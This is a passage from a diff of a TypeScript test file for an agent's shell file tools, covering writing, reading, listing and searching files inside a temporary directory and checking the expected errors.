const content = await fs.readFile(filePath, 'utf-8');
|
|
137
|
+
expect(content).toBe('hello');
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
it('creates parent directories automatically', async () => {
|
|
141
|
+
const write = tool('shell_write_file');
|
|
142
|
+
const filePath = path.join(tmpDir, 'nested', 'dir', 'file.txt');
|
|
143
|
+
await write({ path: filePath, content: 'deep' });
|
|
144
|
+
const content = await fs.readFile(filePath, 'utf-8');
|
|
145
|
+
expect(content).toBe('deep');
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
it('overwrites existing files', async () => {
|
|
149
|
+
const write = tool('shell_write_file');
|
|
150
|
+
const filePath = path.join(tmpDir, 'overwrite.txt');
|
|
151
|
+
await write({ path: filePath, content: 'first' });
|
|
152
|
+
await write({ path: filePath, content: 'second' });
|
|
153
|
+
const content = await fs.readFile(filePath, 'utf-8');
|
|
154
|
+
expect(content).toBe('second');
|
|
155
|
+
});
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
// ── shell_read_file ──────────────────────────────────────────────────────────
|
|
159
|
+
|
|
160
|
+
describe('shell_read_file', () => {
|
|
161
|
+
it('reads file content', async () => {
|
|
162
|
+
const filePath = path.join(tmpDir, 'readable.txt');
|
|
163
|
+
await fs.writeFile(filePath, 'hello conductor');
|
|
164
|
+
|
|
165
|
+
const read = tool('shell_read_file');
|
|
166
|
+
const result = await read({ path: filePath }) as Record<string, unknown>;
|
|
167
|
+
expect(result.content).toBe('hello conductor');
|
|
168
|
+
expect(result.size).toBe(15);
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
it('throws on non-existent file', async () => {
|
|
172
|
+
const read = tool('shell_read_file');
|
|
173
|
+
await expect(read({ path: path.join(tmpDir, 'nope.txt') })).rejects.toThrow();
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
it('throws on directory path', async () => {
|
|
177
|
+
const read = tool('shell_read_file');
|
|
178
|
+
await expect(read({ path: tmpDir })).rejects.toThrow(/Not a file/);
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
it('throws when file exceeds limit', async () => {
|
|
182
|
+
const filePath = path.join(tmpDir, 'big.txt');
|
|
183
|
+
await fs.writeFile(filePath, 'x'.repeat(200));
|
|
184
|
+
const read = tool('shell_read_file');
|
|
185
|
+
await expect(read({ path: filePath, limit: 100 })).rejects.toThrow(/too large/i);
|
|
186
|
+
});
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
// ── shell_list_dir ───────────────────────────────────────────────────────────
|
|
190
|
+
|
|
191
|
+
describe('shell_list_dir', () => {
|
|
192
|
+
it('lists directory contents', async () => {
|
|
193
|
+
const subDir = path.join(tmpDir, 'listme');
|
|
194
|
+
await fs.mkdir(subDir, { recursive: true });
|
|
195
|
+
await fs.writeFile(path.join(subDir, 'a.txt'), '');
|
|
196
|
+
await fs.writeFile(path.join(subDir, 'b.txt'), '');
|
|
197
|
+
|
|
198
|
+
const list = tool('shell_list_dir');
|
|
199
|
+
const result = await list({ path: subDir }) as Record<string, unknown>;
|
|
200
|
+
const entries = result.entries as Array<{ name: string; type: string }>;
|
|
201
|
+
const names = entries.map((e) => e.name);
|
|
202
|
+
expect(names).toContain('a.txt');
|
|
203
|
+
expect(names).toContain('b.txt');
|
|
204
|
+
expect(entries.find((e) => e.name === 'a.txt')?.type).toBe('file');
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
it('lists recursively when requested', async () => {
|
|
208
|
+
const subDir = path.join(tmpDir, 'recursive-list');
|
|
209
|
+
await fs.mkdir(path.join(subDir, 'sub'), { recursive: true });
|
|
210
|
+
await fs.writeFile(path.join(subDir, 'top.txt'), '');
|
|
211
|
+
await fs.writeFile(path.join(subDir, 'sub', 'nested.txt'), '');
|
|
212
|
+
|
|
213
|
+
const list = tool('shell_list_dir');
|
|
214
|
+
const result = await list({ path: subDir, recursive: true }) as Record<string, unknown>;
|
|
215
|
+
const entries = result.entries as string[];
|
|
216
|
+
expect(entries.some((e) => e.includes('nested.txt'))).toBe(true);
|
|
217
|
+
});
|
|
218
|
+
|
|
219
|
+
it('throws on non-directory path', async () => {
|
|
220
|
+
const filePath = path.join(tmpDir, 'notadir.txt');
|
|
221
|
+
await fs.writeFile(filePath, '');
|
|
222
|
+
const list = tool('shell_list_dir');
|
|
223
|
+
await expect(list({ path: filePath })).rejects.toThrow(/Not a directory/);
|
|
224
|
+
});
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
// ── shell_search_files ───────────────────────────────────────────────────────
|
|
228
|
+
|
|
229
|
+
describe('shell_search_files', () => {
|
|
230
|
+
it('finds files matching a glob pattern', async () => {
|
|
231
|
+
const searchDir = path.join(tmpDir, 'search');
|
|
232
|
+
await fs.mkdir(searchDir, { recursive: true });
|
|
233
|
+
await fs.writeFile(path.join(searchDir, 'foo.ts'), '');
|
|
234
|
+
await fs.writeFile(path.join(searchDir, 'bar.ts'), '');
|
|
235
|
+
await fs.writeFile(path.join(searchDir, 'baz.js'), '');
|
|
236
|
+
|
|
237
|
+
const search = tool('shell_search_files');
|
|
238
|
+
const result = await search({ path: searchDir, pattern: '*.ts' }) as Record<string, unknown>;
|
|
239
|
+
const matches = result.matches as string[];
|
|
240
|
+
expect(matches.some((m) => m.includes('foo.ts'))).toBe(true);
|
|
241
|
+
expect(matches.some((m) => m.includes('bar.ts'))).toBe(true);
|
|
242
|
+
expect(matches.some((m) => m.includes('baz.js'))).toBe(false);
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
it('returns empty matches for no-match pattern', async () => {
|
|
246
|
+
const search = tool('shell_search_files');
|
|
247
|
+
const result = await search({ path: tmpDir, pattern: '*.xyz_nope' }) as Record<string, unknown>;
|
|
248
|
+
expect((result.matches as string[]).length).toBe(0);
|
|
249
|
+
});
|
|
250
|
+
});
|
|
251
|
+
|
|
252
|
+
// ── shell_search_content ─────────────────────────────────────────────────────
|
|
253
|
+
|
|
254
|
+
describe('shell_search_content', () => {
|
|
255
|
+
it('finds lines matching a regex pattern in files', async () => {
|
|
256
|
+
const contentDir = path.join(tmpDir, 'content-search');
|
|
257
|
+
await fs.mkdir(contentDir, { recursive: true });
|
|
258
|
+
await fs.writeFile(path.join(contentDir, 'a.txt'), 'hello world\ngoodbye moon\n');
|
|
259
|
+
await fs.writeFile(path.join(contentDir, 'b.txt'), 'hello again\n');
|
|
260
|
+
|
|
261
|
+
const search = tool('shell_search_content');
|
|
262
|
+
const result = await search({ pattern: 'hello', path: contentDir }) as Record<string, unknown>;
|
|
263
|
+
const matches = result.matches as string[];
|
|
264
|
+
expect(matches.length).toBeGreaterThanOrEqual(2);
|
|
265
|
+
expect(matches.some((m) => m.includes('hello world'))).toBe(true);
|
|
266
|
+
expect(matches.some((m) => m.includes('hello again'))).toBe(true);
|
|
267
|
+
});
|
|
268
|
+
|
|
269
|
+
it('returns empty matches when nothing found', async () => {
|
|
270
|
+
const search = tool('shell_search_content');
|
|
271
|
+
const result = await search({ pattern: 'XNOMATCH_XYZ', path: tmpDir }) as Record<string, unknown>;
|
|
272
|
+
expect(result.matches).toEqual([]);
|
|
273
|
+
});
|
|
274
|
+
});
|